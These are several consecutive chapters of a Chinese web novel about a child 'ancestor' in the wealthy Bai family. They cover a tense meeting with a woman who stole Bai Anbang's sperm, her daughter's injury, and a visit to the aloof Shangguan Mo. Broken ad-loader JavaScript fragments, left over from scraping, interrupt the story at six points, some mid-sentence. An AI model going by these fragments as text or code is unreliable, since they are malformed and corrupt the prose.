白小人幺幺小手一挥,让白安邦就他推荐的十几款,每样都送一份过来。 十几款甜品很快摆上了桌,包间里一下子充斥着各种甜品的香味。 不得不说,卖相看着就让人迫不及待的想尝尝味道了。 第184章 我那迷人的小祖宗or老祖宗(22) 也不知道是出于什么心理,姜梦带着女儿不仅没有提前到,更没有踩着点到 ,而是故意比约定的时间晚到了几分钟。 陈助理带着母女俩来到包间门口,敲了敲门,等到里面给了回应,才推开门带着人进去。 进到包间,陈助理第一时间将目光落在正美滋滋品尝着草莓慕斯的白幺幺身上。 这……不会就是他家老板那传说中的老祖宗吧! 听说老板家来了个年纪很小的老祖宗,他好奇很久了,一直没机会见。 没想到今天这种场合,老板竟然把人带来了。 和陈助理一样,姜可柔一进到包间里,目光第一时间也落在了白幺幺身上,一时根本移不开。 这……这就是渣爸和那女人生的女儿吗? 不得不承认,长得很好,粉雕玉琢,像个小仙童。 有眼睛的都能看出,小女孩一定是被精心富养着的。 姜可柔心中妒意犹如野草疯长,恨意同时也冒了出来。 凭什么? 凭什么同样是渣爸的女儿,她从记事开始,就要承担那么多不该她承担的。 姜可柔鼻头一酸,有点想哭,可是被她强忍住了。 她是个要强的,这种时候怎么可以哭。 想到她的猜测,姜可柔心中不免又畅快了。 哈哈,就算在富贵窝,幸福窝长大又怎样。 现在还不是生病了,正遭受病痛折磨,等着换她的心肝肾骨髓。 姜可柔垂下眼睑,遮掩住眸中一闪而过的阴翳之色。 生病了,生病了好呀。 反正自己是不可能救她的。 她真的好想撕碎眼前幸福的假象,想看到对方脸上再没笑意,露出痛苦难过的表情。 和陈助理以及姜可柔不一样的,姜梦一进门,目光一如当年立马被男人吸引去了。 包间里仿佛就只剩下她和男人,一束光从天而降,将两人笼罩其中。 姜梦心脏扑通扑通跳得很快很快,眼眶一下子就红了,定定看着人,眸中各种情绪翻涌。 “……安……安邦……” 姜梦眼角噙着泪,低声呢喃。 她这一声惹得白安邦皱眉,放下老祖宗刚推过来的只剩四分之一的草莓慕斯,抬头看去。 陈助理送人进来后,只是目光隐晦的在白幺幺身上停留了下,就很识趣的默默退出去了。 现下包间里就只有白幺幺,白安邦以及女主母女俩。 白幺幺就是来看戏的,边吃甜品边看戏。 姜梦一出声,戏开始唱了,她当然也赶紧抬眸。 白幺幺就不像任何人,她的目光并没有第一时间落在谁身上。 而是雨露均沾,女主母女俩全都有分到她的目光。 姜可柔见她看过来,下意识移开视线,微侧着脸。 至于姜梦从进到包间开始,那双眼睛里除了白安邦,就再也装不下其他。 反正,白幺幺被她忽视得彻底。 白幺幺打量了下两人,忽的觉得有点没意思。 剧情中,白家就是因为这对母女败落,最后全死光了。 白保国是最先被气死的,之后就是那三兄弟,一个死得比一个惨。 而她身旁的白安邦是在剧情后期才死的,没办法,女主妈对他已经到了疯狂迷恋的地步。 反正剧情中这个中年男人承受太多了。 女主开始复仇后,明明没多久就对她妈的话起了怀疑,经过一段时日调查之后也知道了事情原委。 可是她并没有停止复仇,没办法,仇恨的种子一旦种下,想要移除太难了。 而且女主其实也不单单只有恨,她还嫉妒,嫉妒那三个同父异母的弟弟,嫉妒到想毁了他们。 当然,剧情中她也这么做了。 现在女主才十一岁,有些情绪还不能很好的隐藏。 刚刚,白幺幺即使没抬眸看人,也能感觉到女主怨恨她,对她恶意满满。 所以是为什么呢? 呵呵,不会以为她是小安安的女儿吧?! 那这还真是个美丽的误会。 白安邦只是粗粗的扫了眼两人,最多就是在江可柔身上多停留了那么一下下。 “姜女士,咱们在此之前没见过面,并不认识,所以请称呼我白先生。” “安邦你……” 姜梦身体晃了晃,一副大受打击的模样。 姜可柔:“……” 不是,什么意思? 那个应该是她渣爸的男人说之前和她妈都没见过,两人根本不认识。 从进门到现在,姜可柔此刻才真正将目光落在渣爸身上。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她仔仔细细的打量着男人脸上的每一处细节,每一分表情。 想从中看出两人的相似之处,以及对方是不是在开玩笑或者撒谎。 不认识? 没见过面? 那她怎么来的? 当从男人脸上找到一处又一处和自己相似的地方,整体下来,两人还是有五六分相似的,姜可柔竟莫名松口气。 “停,姜女士,我刚刚的话说得不够清楚吗?请喊我白先生。” 白安邦 有些烦躁的皱了皱眉,眸中的嫌恶之色相当明显。 要不是姜可柔在旁边,白安邦的语气是不可能如此平和。 稚子无辜。 白安邦真不知道要拿何种态度对待这个……以那种方式到来的血缘上的女儿。 特别是白家未来还可能因为这对母女而……白安邦怎么都无法对这个孩子生出丝毫的父女之情来。 “安……呜呜……” 触及到白安邦嫌恶的眼神,姜梦身体又晃了晃,眼泪彻底崩不住了。 白安邦:“……” 什么鬼,该哭的不该是他吗? 这个不经他同意,就偷了他的种,瞒着他偷偷造人的小偷,她凭什么哭。 妈的,不知情的见了,还以为他是什么负心汉,绝世大渣男。 白安邦被哭得有些烦,都已经在心里飙脏话了。 白小人幺幺将只动了不到五分之一的抹茶巧克力拿破仑推到白安邦面前。 “小安安,这款还不错,等下打包点回去,三兄弟应该会爱吃。” 十几款甜品,白幺幺已经吃到最后一款。 她才想起自己抛下三兄弟出来看戏吃独食,这样是不是不太好,良心上似乎有那么一点点的过不去。 毕竟几天下来,她和三兄弟也算是有了革命友谊。 三兄弟:……是这样的吗? 正在心里飙脏话的白安邦:……其实三个儿子和他一样都不爱吃甜食的,不过老祖宗说啥就是啥。 “好的,老祖宗。” 已经快哭晕过去的姜梦这时才发现白幺幺的存在,第一次不需要人哄,自己收住了眼泪。 往常,姜可柔见她哭这么凶,早围着人各种哄劝。 只是现在姜可柔还在纠结渣爸的那几句话,整个人完全不在状态中。 第185章 我那迷人的小祖宗or老祖宗(23) “安……安邦。” 姜梦小心翼翼的喊道,方才看着白幺幺的目光怎么说,还算友好,甚至眸中闪着亮光。 白安邦:“……” 这女人似乎有点听不懂人话,难怪会干出偷他精子自己生下孩子的事。 白安邦真的有点心累,这是多倒霉才让他碰上这种事。 姜梦直接忽略掉男人的神色,温柔扯过还在发呆的女儿,语气有点小激动的介绍起来。 “安邦,这是我给你生的女儿,你仔细看看,长得真的很像你。” “还有,她真的很乖很优秀的,你们父女俩今天才第一次见面,还没相处过,等相处过你也会很喜欢她的。 ” 姜梦说完,羞涩的低了低头,一副小女人姿态。 不愧是亲母女,她也以为白幺幺是白安邦的女儿。 应该是前面有了三个儿子,自然而然就更稀罕起女儿来,所以女儿一出生就将她保护得很好,不让外界知道。 既然安邦喜欢女儿,那她也给他生了个女儿,而她的女儿是那么乖巧可人疼,安邦肯定会喜欢的。 白幺幺瞧着女主妈那副作态,就突然有点犯恶心。 而忽的被推出来,成为包间里的焦点,姜可柔是茫然无措的。 她两手紧紧抓着裙摆,竟有点紧张,心情更是十分的复杂。 刚刚父女俩旁若无人的互动,真的看得她很想歇斯底里的质问,发疯的掀翻桌子。 还有那声宠溺极了的“老祖宗”,真的让她内心破防了。 明明也是她的爸爸,明明一样也是她的女儿,而且她还一定是那个最乖巧懂事的。 姜可柔觉得她对渣爸的恨意还在,只是又混入了一些道不明说不清的情感。 此时的她,就像被摆放在橱窗里的洋娃娃,既想极力展示最优秀的一面给渣爸看,又有些傲娇,觉得渣爸凭什么不喜欢她。 “姜女士,孩子怎么来的,你我心知肚明,有些话,我不想当着孩子的面说太明白,今天约你们见面,就是谈论下送你们出国的事。” 白安邦就算再好的脾气,也被根本无法沟通的女人给磨没了。 没给对方插话的机会,他继续长话短说。 “我查过了,你在国内已经没啥亲人,回去收拾下,两天后,我安排人送你们出国,你放心,我已经在那给你们购置了一套房产,登记在……孩子名下。” 白安邦看向姜可柔,眸光十分的复杂。 “抱歉,虽然我们血缘上是父女关系,但是因为某些原因,我真的没办法把你当女儿看待,不过等出国后,抚养费我会让人按月打过去,直到你成年为止。” 白安邦的话犹如一记重锤狠狠砸在姜可柔脑袋上,砸得她头晕目眩。 呵呵……哈哈…… 原来突然来找她们母女,不是要她给生病的小女儿捐肝捐肾捐骨髓,而是要把她们送出国,送的远远地。 不然看出渣爸应该很有钱,所以是怕她和同父异母的妹妹抢东西吗? 姜可柔最终还是歇斯底里的质问出声“为什么?我明明也是你的女儿?” 还沉浸在不可置信中的姜梦被女儿突然这声给唤醒了,她有些紧张害怕的扯了扯女儿的手腕。 同时,姜梦还用乞求的目光看向白安邦。 其实吧,有些事的是非对错,当事人怎么可能不清楚。 接收到姜梦的目光,白安邦再次在心里飙脏话,心里想着这次事情处理完,他还是到庙里拜拜。 “这个问题不要问我,问姜女士。” 白安邦真不擅长处理这种事,只能将问题抛给始作俑者。 姜可柔不解,但还是转头看向她妈。 姜梦一下子又哭上了。 姜可柔:“……” 白安邦:“……” 白幺幺:“……” 白安邦不知道剧情,能做出这样的处理,已经很不错了。 可是白幺幺知道剧情呀,只是送出国,还提供一定的经济支持,这样真的太便宜女主母女了。 白小人幺幺啪啪鼓起掌来,“小安安,那个哭得好丑好丑的老阿姨,她就是偷了你冷冻在医院里的精子的小偷吗?” 哭得好丑好丑的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 老阿姨姜梦:“……” 正在努力理解白幺幺这几句话意思的姜可柔:“……” 白安邦想阻止,不,他不想,他也不敢。 白小人幺幺从椅子上下来,走到女主妈的身边。 在人疑惑、憎恨、防备等复杂目光注视下,白小人幺幺抬手在人身上拍了拍,成功对人使用了真言符。 只要没有高人帮忙解除符咒,这符就是永久有效。 女主妈一遇到不想回答的问题,就开始没完没了的哭,这是一种病,得治。 做完好人好事的白小人幺幺回头看向白安邦,莫名的又想训人了。 算了,有外人在,还是小小照顾下人的面子。 “小安安,咱们回去吧。” “好的,老祖宗。” 白安邦忙起身,连正常沟通都无法,他其实早就想离开了。 “等等,不许走!” 略显有些尖锐的声 音在两人身后响起。 白安邦回头,不耐烦的问:“还有事?” 姜梦脸部表情有那么一瞬间的扭曲,“你不是说自己是不婚族吗?那你为什么要结婚?” “还有,我有什么错?我就是太爱你了,不想你绝后,才从医院里将精子偷出来,拼死为你生下女儿,你不能这么对我们。” “反正我和女儿不出国,我可以委屈点,先让你养在外面,不过等我们儿子出生,你就必须离婚娶我进门,不然我……” 白安邦:……简直是!!! 一时根本找不到形容词,不理会已经开始疯言疯语的女人,他赶紧追上已经离开的老祖宗。 姜梦噼里啪啦说得正起兴,见人要走,哪里肯。 还是姜可柔眼疾手快将人拉住了,“妈,别说了,你先冷静下。” 姜可柔已经十一岁了,不是三岁,很多东西她都懂了。 短短不到半个小时,她接收到的信息量真的有点大。 姜梦心急的想挣脱开女儿的手,只是她的力气明显没有女儿的大。 眼见人快走没影了,姜梦神色一沉。 第186章 我那迷人的小祖宗or老祖宗(24) “放开,你个赔钱货,当年我生的要是个儿子该有多好!” “呜呜,我就不会因担心生的赔钱货,白家可能不会接受,想着自己先养一段时间,把孩子养好看些,再抱着去白家。” 姜可柔脸色刷的惨白一片,眸中全是受伤与不可置信。 “妈,你……” “我什么我,本来就是,都怪你这个赔钱货。” 姜梦脸上的表情有那么一点点狰狞扭曲,不复以往柔柔弱弱的温柔模样,说话的声音也有点尖锐刺耳。 “当年我生的要是儿子该有多好,生完我就可以直接带着孩子上白家,看在宝贝孙子的份上,白家人肯定会接纳我的。” “对,没错的,就是这样!” “都怪你,我如果早早抱着孩子上门,安邦就是我的了,白夫人也只能是我,哪里有后面那个贱女人什么事。” 既然挣脱不开手,姜梦直接反掐住姜可柔的手,用了十足的力气,想让人自己吃疼后松开。 “你说你怎么就不争气点,为什么要是个女孩,你都不知道,我每天见到你,那个心情真的很复杂,总是在强颜欢笑。” “哈哈,知道我为什么都不出去工作吗?让你小小年纪就要养家养我吗?” 说到这,姜梦脸上流露出畅快的神色,语气也稍稍正常了些。 “这是你爸还有你欠我的,你们欠我的,你们父女俩欠我的,特别是你,谁让你自己不争气,不是个儿子。” “哈哈,我的幸福,全因你的不争气毁了。” “你要是个儿子就好了,要是个儿子就好了,事情的发展不应该是这样的,不应该是这样的……” 姜可柔已经不知道要用什么表情面对她妈,她的世界仿佛在这一刻彻底坍塌了。 眼前白茫一片,看不清,她自己也不想看清。 耳边嗡嗡嗡的,很嘈杂,就是听不清内容。 她很想哭,可是她又不想这个时候哭,所以仰着脸,咬紧牙关极力忍着。 压抑了十来年,姜梦一阵输出后,心里痛快极了。 瞧见人有些失神恍惚,她没有犹豫的,用另一只手使尽全身力气狠狠将人推开。 毫无防备的被这么一推,姜可柔脚下一个踉跄,身体失去重心,向后摔去。 她的身后不到半米就是墙壁,人没有意外的撞到了墙上,后脑勺更是重重磕到墙上。 姜梦得了自由后,看都没看被自己推开的女儿,着急忙慌的朝外面跑去。 她也不知道自己追上人后要干嘛,就是心里有个声音告诉自己,不能让人离开,要抓住这次的机会。 姜可柔的身体顺着墙壁慢慢滑落,无力的跌坐在地上。 她两眼无神的望着姜梦跑开的背影,缓慢的伸手摸向自己的后脑勺,而后拿到面前一看,一手的红。 …… 再说这边,白幺幺带着白安邦走出咖啡馆,她眼尖的瞧见了马路对面的一熟人。 这熟人不是大佬,还能是谁。 论抱大腿,她果然不是专业的,三天打渔两天晒网都不足以形容。 扒拉了下小手手,数数自己都几天没见大佬,没与大佬联系了。 不行,她要积极点,把抱大腿当成事业来做。 白小人幺幺兴奋地朝马路对面的人招了招手,“大哥哥,大哥哥,是我呀。” 光这般喊人哪里行,白小人幺幺回头和白安邦说:“小安安,你自己先回去,我过去找大哥哥……叙叙旧。” 白安邦:“……” 白幺幺可不是在征询对方的意见,说完就准备朝马路对面走去。 想到什么,又回头拿走白安邦手上提着的东西。 “我突然想到,三兄弟他们好像不怎么爱吃甜食,这个还是不要带给他们了。” 白安邦:“……” 反应过来身后就是咖啡馆,白小人幺幺神色可没半分不自然。 她重新给出建议道:“那个草莓慕斯蛋糕很好吃,要不你再进去打包点带回去给三兄弟尝尝。” 白安邦:“好的,老祖宗。” 犹豫了下,白安邦还是将人喊住。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “那个,老祖宗,如果您和上官家主叙旧的时间不长,我可以在旁边的等着您的,到时我们好一起回去。” 总不能出来一趟把老祖宗搞丢…… 呃,不是,眼睁睁的看着老祖宗追着人跑了。 反正就是,他带着老祖宗一起出来,最后只有他一个人回去,老爷子那不好交代呀。 白小人幺幺歪着脑袋想了下,“这个时间有点不确定,反正你先回去,不用管我,还有我是你老祖宗,不是什么三岁小孩,所以你完全不用担心我会走丢哦!” 白安邦赶忙摇头,“老祖宗,我真没有。” 白小人幺幺无所谓的摆摆手,自己身高形象总是容易让人忘记她的……年龄,这是改变不了的事实。 白安邦心里不踏实,可是老祖宗都这么说了,他还能怎么办。 最后他只能很“卑微”的叮嘱一句,“那老祖宗,您什么时候要回家了,一定要打电话给我,让我去接你哦。” 有种被当三岁 小孩的白幺幺:“……” 在某中年男人热切目光注视下,白小人幺幺还是点了点头。 “知道了,小安安,我要回来时,会提前给你打电话的。” 话说完,白小人幺幺就像出笼的小鸟朝远方奔去。 白安邦很想出声提醒下老祖宗慢点走,别摔了,过马路更是要注意安全。 甚至他都想直接上前护送老祖宗过马路,只是想到自己要是这么做了,老祖宗肯定会生气的吧,才作罢。 武十瞧见正过马路朝他们这边走来的白幺幺,他拿胳膊捅了捅身旁的大炮。 “你说白家的老祖宗喊咱们主子大哥哥,到底是谁占谁便宜呢?” 大炮侧头看了他一眼,“你这嘴,就不能少议论点主子的事。” 武十耸了耸肩,朝人翻了个白眼。 “大炮,你要是一直这么无趣,会讨不到老婆的。” 武十说完又小声嘀咕道:“我这不是看你太无趣,正想方设法的想改变你嘛。” 大炮:“……那我真是谢谢你了,兄弟。” 第187章 我那迷人的小祖宗or老祖宗(25) “大哥哥,好巧啊!” 白小人幺幺走到上官墨面前,来了个俗套的开场白。 “嗯。” 上官墨语气淡淡,不算热情的“嗯”了声。 白幺幺:……面冷心热啥的最讨厌了。 明明她在对面见到人时,大佬正准备往停车的方向走去,听到她的呼喊后,就直接停下脚步站在原地等到她过来。 “大哥哥,你这几天过得怎样?” “还行。” “大哥哥你等下要去哪里?肯定还没吃晚餐吧,要不我请你吃晚餐?” “回去,请吃饭就不必了,家里已经准备好晚餐了。” 大佬么,有点个性是很正常的。 “这样啊!” 白小人幺幺有点遗憾的低了低头,复又很快抬起头来,咧着嘴笑了笑。 “那大哥哥,我跟你回去尝尝你家厨师的手艺怎么样?” 两人边走边说,就这样走到了车边。 武十已经提前打开车门,等着上官墨上车。 上官墨没急着上车,而是回头看向身后的小尾巴,一字一顿的吐出三个字来。 “不怎样。” 话落,人直接上车了。 白幺幺:……大佬就是大佬,热衷于当话题终结者,学着点,等她以后的当了大佬可以用。 只是,爱口是心非是病,得治。 也不知道那个上车后,身体往另一边位置挪了挪,将靠近打开车门的位置空出来的是谁? 白小人幺幺不怎么当一回事的“哦”了声,小小身体麻溜的爬上车,在某人专门为她空出来的位置上坐下。 候在车边的武十:“……” 他尽职尽责的关上车门,心里还是忍不住又吐槽起来。 没办法,难得见他们主子也有如此幼稚的一面。 车子行驶中。 白小人幺幺盯着人看了好一会儿,开启夸夸模式。 “大哥哥,一段时日不见,你不仅变的更帅了,还变得更有气质了耶。” 正低头看手机的某人眼角微抽了下。 瞅见人不为所动,白小人幺幺把小脑袋凑近些。 “大哥哥,你爱吃甜食吗?” 意料中的没得到回答,白幺幺的情绪并没有受到影响,继续说她的。 “我刚刚和小安安在咖啡馆里尝了十几款甜品,吃到这款抹茶巧克力拿破仑时,下意识就想到了大哥哥你,觉得你可能也会喜欢这款甜品。” 睁眼说瞎话的功夫,白幺幺同志觉得自己真的已经练到家了。 “然后鬼使神差的就打包了几份带走,没想到在门口就见到了大哥哥你了。” 白小人幺幺语气稍稍有点小激动,总结道:“大哥哥,你说是不是很巧,咱们俩这缘分有点妙不可言呀!” 某小人说话时,不知不觉的越凑越近,些许的温热气息打在了上官墨的脖颈处。 他神色极快的闪过一丝不自然,语气有了些许生硬,“坐好。” “哦。” 白小人幺幺听话乖巧的坐好,不过不忘把打包的点心袋子塞到大佬怀中。 上官墨身体僵了一瞬,有些无奈的侧头看向某小人。 白小人幺幺见人看过来,忙乖巧的朝人眨巴眨巴眼睛,还龇着牙朝人笑了笑。 上官墨:“……” 第一次体验把到嘴边的话又咽回去,上官墨干脆闭目养神起来。 像是忘记怀中被强塞的甜品袋,就这么让它一直搁在怀中。 伸手不打笑脸人,原来大佬也吃这套,记下,记下。 见人闭着眼睛休息,白幺幺顾自转头看向车窗外,没再打扰人。 白幺幺这边还在路上,白安邦那边已经先到家了。 姜梦追出来时,跑太急,又没注意看路,直接将一个服务员手上的托盘撞飞。 托盘上的两杯热咖啡直接泼洒到旁边客人身上,不仅弄脏了人家的衣服,还导致两个客人出现小面积轻微烫伤。 姜梦心里全是白安邦,着急想要赶紧追上人,只是丢下一句对不起就想走。 整个事件完全是姜梦的错,而且不仅仅是咖啡打翻了那么简单,服务员哪里肯让姜梦就这样离开。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 服务员一把将人拉住,等着很快就会闻讯过来的经理,到时看事情怎么处理。 姜梦挣扎,试了几次后还是挣脱不开。 她开始期期艾艾的掉眼泪,“你干嘛,快放开我,我有很重要的事情要去处理,这边的事,你们可以找我女儿。” “对,找我女儿,她现在人就在你们咖啡馆里,三楼306包间,我真的有急事,你快放开我。” “呜呜呜,我要去找孩子她爸,你快放开我。” 服务员见姜梦哭成这样,而且方才对方就是跑得太急,没注意看路才会撞到她的,看来可能真是有什么急事。 后面听是要去找孩子爸,不免有了不好的猜测,不会是老公出轨,现在急着要去抓奸吧。 这时经理也带着人过来了,他先安抚被咖啡泼到的顾客,同时让一名员工先替被咖啡烫伤的顾客处理伤口。 也幸好热咖啡温度适中,并不是很 烫,被咖啡溅到的地方只是轻微泛红,不然顾客也早就闹起来了。 姜梦不是哭,就是一直嚷着让他们找她女儿,而且隐隐有要撒泼的趋势。 经理发现人有点难沟通,便让一名员工到她说的那个包间,把她女儿喊下来。 只是,他总感觉自己忽略掉了什么。 女人的哭声哭得他有些心烦,让他不由得皱眉。 等等。 经理猛地拍了下自己的脑袋,三楼的306包间,大老板下午不是在里面约见人吗? 这女人说她女儿此刻就在306包间,那母女俩不会就是大老板约见的人吧。 经理不是脑洞大的人,可是男人么,都懂的,特别是女人如此超急忙慌的就是想跑出去找孩子爸的。 他下意识的对女人客气起来,“那个女士,你先别哭,我们没有要为难你的意思。” “从监控看,这场小事故主要的责任在你……” 经理的话才说一半,刚刚上去喊人的那个咖啡馆的员工,他神色颇有些惊慌的匆匆跑下楼来。 经理瞧见他不仅没带着人下来,脸色只要明眼人都能看出不对劲,心里蓦地咯噔一下。 第188章 我那迷人的小祖宗or老祖宗(26) 那名员工跑到经理身旁,凑到他耳边小声耳语。 “不好了经理,306包间有个小姑娘脑袋磕破,流了好多血,人现在已经没意识了。” 经理:“……” 经理压低声音问:“包间里还有其他人吗?” 这名员工忙摇头。 “没有,我上去时,包间门就是开着的,里面除了那个昏迷不醒的小姑娘,没其他人了。” 看到那样一幕,心里慌得不行,他第一时间还以为自己进入了凶案现场,小姑娘已经没气了。 他当时都在想,自己是先尖叫呢,还是尖叫呢? 后来壮着胆子凑近些,伸手去探了探人的鼻息,发现人还有气,没死,紧绷着的身体才一松。 他没有选择报警和急着打急救电话,不清楚这样的行为会不会给咖啡馆带来麻烦。 没办法,在咖啡馆上班,工作简单不累,福利待遇还很好。 他不想咖啡馆因此生意受影响,更不想失去这份工作。 所以他赶紧退出包间,把门关上,急匆匆跑下楼来找经理。 这样的事,经理肯定比他懂得如何处理比较好。 经理:“……” 平时这种事,他是懂如何处理,可是今儿这事很可能和大老板有什么牵扯,所以他真的不懂呀! 不过人命关天,经理还是示意这名员工赶紧先打急救电话,然后让他和另一名员工带着医药箱上去。 最后经理过去和几个被事故波及的客人说抱歉,同时做出相应补偿,反正客人都挺满意的。 等人散开后,经理才来到姜梦身前,示意她借一步说话。 姜梦见经理已经把事情处理好了,心里本就急着想出去找人,一点都不想配合。 经理:“……” 经理皱眉,最后压低声音将楼上的情况简单的姜梦说下。 骤然收住眼泪的姜梦:“……” 不,不可能,她推开人的力气明明很小。 说姜梦对这个女儿没感情,肯定不是,只是她对这个女儿感情真的很复杂。 最后姜梦还是跟着经理上楼,她一边担忧女儿的情况,一边想着女儿现在受伤了,是不是到时安邦会过来看女儿。 如果女儿伤的挺严重的,那是不是安邦想将她们母女送出国的计划就要延后。 她可以借着这段时间和安邦好好相处,让他看到她好,喜欢上她。 白安邦并没有亲自再进入咖啡馆打包,而发了条信息给咖啡馆的负责人,直接让他安排个人送到家里。 没办法,他还是有点不放心自家老祖宗。 所以吧,见老祖宗上了上官墨的车,他也赶紧开车跟上去。 跟踪,完全没有的,他开的也是回家的路。 开出五六公里后,两辆车在一个十字路口终是分道扬镳了。 没办法,他再跟着开那条路,难道是要跟着回上官家吗? 白安邦一回到家,三道视线齐刷刷落到了他身上……不,是他身后。 发现没人,白文勋问:“爸,老祖宗呢?” 另外两兄弟虽没问出声,不过眼神里那询问的意思相当明显。 不怎么说,一回生二回熟。 三兄弟现在喊起老祖宗来,已经没有一开始的别扭,自然不少了。 莫明有些心虚的白安邦:“……” “你们老祖宗路上遇到个朋友,到朋友家叙叙旧去了。” 三兄弟同时皱了皱眉,老祖宗的朋友? 很有默契的,他们脑中不自觉的都冒出了,好几个四五岁小男孩围着老祖宗献殷勤的画面。 三兄弟身体陡然一个激灵,彼此互相对视一眼,立马明白大家都想一块去了。 白文旭问:“爸,老祖宗的朋友是谁,我们认识吗?” 白安邦想了下摇头,上官家主儿子们可能见过,但应该不算认识吧。 “你们不认识的,还有,你们老祖宗对你们可好了,出趟门吃到好吃的,都没忘记让我带点回来给你们。” “你们呀,要好好听老祖宗的话,对老祖宗更敬重些,知道吗?” 白文泽视线落在白安邦空空的两手上,疑惑道:“爸,那东西呢?不会是被你偷吃掉了吧!” 白文泽话一出,白文旭和白文勋再次同时将目 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 光落在白安邦身上,只是那神色…… 白安邦:……都是亲生的! “去去,都一边去,你爸我是那种人吗?” 白安邦没好气的瞪了几个儿子一眼。 “就是咱家经营的那家咖啡馆里的草莓慕斯蛋糕,你们老祖宗瞧着很喜欢,我已经交待了,等下会直接送些过来家里。” 一听是草莓慕斯蛋糕,三兄弟倒是没流露出啥失望的神色。 他们这种家庭的孩子,啥好东西没见过,没吃过。 心意,最重要的是心意。 不再纠结这个问题,想到什么白文勋又问:“爸,老祖宗什么时候回来?” 白安邦:……这个问题他也不知道呀! 见他爸沉默,白文泽小大人似的摇了下脑袋。 “爸,你该不会是忘记问老祖宗要什么时候 回来吧!” “你这样是不对的,看起来让人觉得你好像对老祖宗不够上心,不怎么关心老祖宗的样子。” 白文泽话一出,白文勋立马附和起来。 “对呀,爸,老祖宗是咱家辈分最大的没错,可她现在是什么情况,你怎么可以放心的放任她一个人去和什么我们都不认识的朋友叙旧。” 白文旭也严肃了下神色,补充道:“老祖宗那个朋友家在哪里你应该知道吧,你看下,要不我们现在还是去把老祖宗接回来。” 白安邦:“……” 不是,老祖宗要去哪儿,去多久? 这就跟天要下雨娘要嫁人,他什么都做不了,好不。 而且吧,人家老祖宗去的是上官家,怎么说呢,白安邦还是挺放心的。 最后白安邦有些烦躁的再次驱赶几个儿子,“去去去,都一边去,你们老祖宗是去上官家,她老会的朋友是上官家主,你们在这瞎操心啥。” 上官家,上官家主? 三兄弟同时安静下来开始在脑中搜寻关于这人的信息。 白文旭记忆力最好,他脑中最快浮现出上官墨的形象。 嘴角不免微微抽动了下,原来他们都误会了。 所以,老祖宗果然就是老祖宗。 第189章 我那迷人的小祖宗or老祖宗(27) 武一在楼上瞧见车子开进庄园,特意下楼来。 等车子停稳后,他就上前帮忙打开车门。 当看到下来的不是自家主子,而是白小人幺幺时,他微微怔愣了下。 初见这小女娃时,他还好奇是啥来历,没想到人家来历还真挺特别的。 反正白家来了个年纪很小的老祖宗成了这段时间圈子里的热聊话题,而刚刚车上下来的这个小女娃就是话题中白家来的那个老祖宗。 瞧着就是还在上幼儿园的年纪,不夸张的说好些这个年纪的小娃娃还有在穿尿不湿了。 没成想人家是白家辈分最高的老祖宗,还真是离谱他妈给离谱开门,离谱到家了。 白幺幺下车后,上官墨也直接从她这边的车门下来。 瞧见自家主子手上提着的袋子,武一再次怔愣了下。 即使隔着袋子,武一还是闻到香甜的味道。 主子不是向来不爱吃甜食? 想到刚刚下车的白家……老祖宗,他一下子找到了答案。 武十和大炮下车后,同样注意到自家主子手上提着东西。 他们肯定没忘记,那袋子是白幺幺提过来的。 就是不知道对方把东西送给他们主子了,还是他们主子只是帮忙提下东西。 如果是送给他们主子了,那真不得不说,这应该是他们主子到目前为止收过价值最低的礼物了。 都不用主人家招呼,白小人幺幺一副自来熟的往屋里走去。 十几款甜品,都是那种造型精致分量小,差不多四五口就能解决的。 白幺幺基本每款都只是尝上一两口,剩下的就推给白安邦解决,秉承着不浪费原则。 所以,等下的晚餐,她的小肚肚还是有位置装的。 上官墨一回来,就先上楼去冲洗下,换个衣服。 白幺幺真不知道大佬是上楼洗香香的,屁颠颠的跟上了楼,然后被砰的一声关在了门外。 白幺幺:“……” 哼,不让进就不让进。 白小人幺幺来了小脾气,还有点小委屈。 她哒哒哒走下楼去,脚步故意踩得重重的。 到了客厅,一屁股坐到沙发上,双手抱臂,撅着嘴。 反正明眼人都能看出她不开心,她生气了。 白幺幺觉得这大佬的大腿实在有点难抱,当然放弃是不可能放弃的。 就是到底要怎么摘下大佬那面冷心热的面具,以及那忽冷忽热的脾气。 上官墨原本这样简单冲洗下,也要用上十来分钟,不过今天他只用了五六分钟。 简单擦下湿发,又用吹风机吹了两下,他并没把头发完全吹干。 换上一套居家服,他打开门,瞧见门外空空,心里微不可察的松了口气。 缓步下楼,在客厅瞧见正抱臂坐着,小嘴撅的高高的,都可以挂油壶了的小人儿。 上官墨莫名的觉得有些好笑,嘴角微微上翘了而不自知。 白幺幺是在听到人下楼的脚步声时,故意把嘴撅得高高的。 生闷气啥的是最傻的,你生气了,就要让对方知道。 不让对方知道的生气,那不都白生气了,完全就是在气自己,有啥意义。 白小人幺幺偷偷用眼角余光瞄了某人一下,好死不死撞见某人唇角上翘的画面。 白幺幺:“……” 她悄无声息的将撅着的嘴放下来,决定换个方式表达她生气了。 只是收回眼角余光时,她才发现大佬头发湿湿的,应该是刚洗过,没吹干。 眼角余光下移,果然瞧见大佬换衣服了。 原来大佬刚刚是回房间洗澡换衣服了,所以她误会大佬了。 早说嘛,她又不是那种人。 再说了,就算是大佬不介意,邀请她进去看。 呵呵,她也不敢看的好不。 谁知道大佬回到上界想起自己在下界干的蠢事和失去的……清白,会不会来个秋后算账。 白幺幺觉得自己还是很有必要说点什么的。 生气,还生啥气。 人家有啥错,最多就是没告诉你他要洗澡了,你不要跟进来哦。 白小人幺幺跳下沙发,来到大佬身前。 “咳咳。” 她先是轻咳一声,才道:“大哥哥,你刚刚去洗澡啦,真是的,你把幺幺关门外时,应该和幺幺说下的。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 白小人幺幺适时露出委屈的小表情,“刚刚幺幺真的还以为大哥哥烦了幺幺了,所以才把幺幺拒之门外的……” 上官墨:“……” “走,吃饭了。” 